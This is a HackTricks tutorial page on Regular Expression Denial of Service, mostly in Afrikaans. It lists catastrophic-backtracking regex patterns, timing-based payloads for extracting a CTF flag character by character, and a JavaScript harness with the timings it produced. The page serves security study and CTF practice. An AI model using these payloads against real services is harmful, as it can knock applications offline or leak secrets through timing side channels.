Regular expression Denial of Service - ReDoS

Regular expression Denial of Service - ReDoS

Support HackTricks

Regular Expression Denial of Service (ReDoS)

'n Regular Expression Denial of Service (ReDoS) gebeur wanneer iemand voordeel trek uit swakhede in hoe regular expressions (n manier om patrone in teks te soek en te pas) werk. Soms, wanneer regular expressions gebruik word, kan hulle baie stadig raak, veral as die stuk teks waarmee hulle werk groter word. Hierdie traagheid kan so erg raak dat dit regtig vinnig groei met selfs klein verhogings in die teksgrootte. Aanvallers kan hierdie probleem gebruik om 'n program wat regular expressions gebruik, te laat ophou om behoorlik te werk vir 'n lang tyd.

The Problematic Regex Naïve Algorithm

Kyk na die besonderhede in https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

Evil Regexes

'n Boosaardige regular expression patroon is daardie een wat kan vastloop op vervaardigde invoer wat 'n DoS veroorsaak. Boosaardige regex patrone bevat tipies groepering met herhaling en herhaling of alternasie met oorvleueling binne die herhaalde groep. Sommige voorbeelde van boosaardige patrone sluit in:

  • (a+)+

  • ([a-zA-Z]+)*

  • (a|aa)+

  • (a|a?)+

  • (.*a){x} vir x > 10

Al hierdie is kwesbaar vir die invoer aaaaaaaaaaaaaaaaaaaaaaaa!.

ReDoS Payloads

String Exfiltration via ReDoS

In 'n CTF (of bug bounty) mag jy die Regex beheer waar 'n sensitiewe inligting (die vlag) mee ooreengestem word. Dan kan dit nuttig wees om die bladsy te laat vries (timeout of langer verwerkingstyd) as die Regex ooreengestem het en nie as dit nie gedoen het nie. Op hierdie manier sal jy in staat wees om die string karakter vir karakter te exfiltreer:

  • In hierdie pos kan jy hierdie ReDoS reël vind: ^(?=<flag>)((.*)*)*salt$

  • Voorbeeld: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$

  • In hierdie skrywe kan jy hierdie een vind:<flag>(((((((.*)*)*)*)*)*)*)!

  • In hierdie skrywe het hy gebruik: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS Controlling Input and Regex

Die volgende is ReDoS voorbeelde waar jy beide die invoer en die regex beheer:

function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$",   //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Tools

References

Support HackTricks

Last updated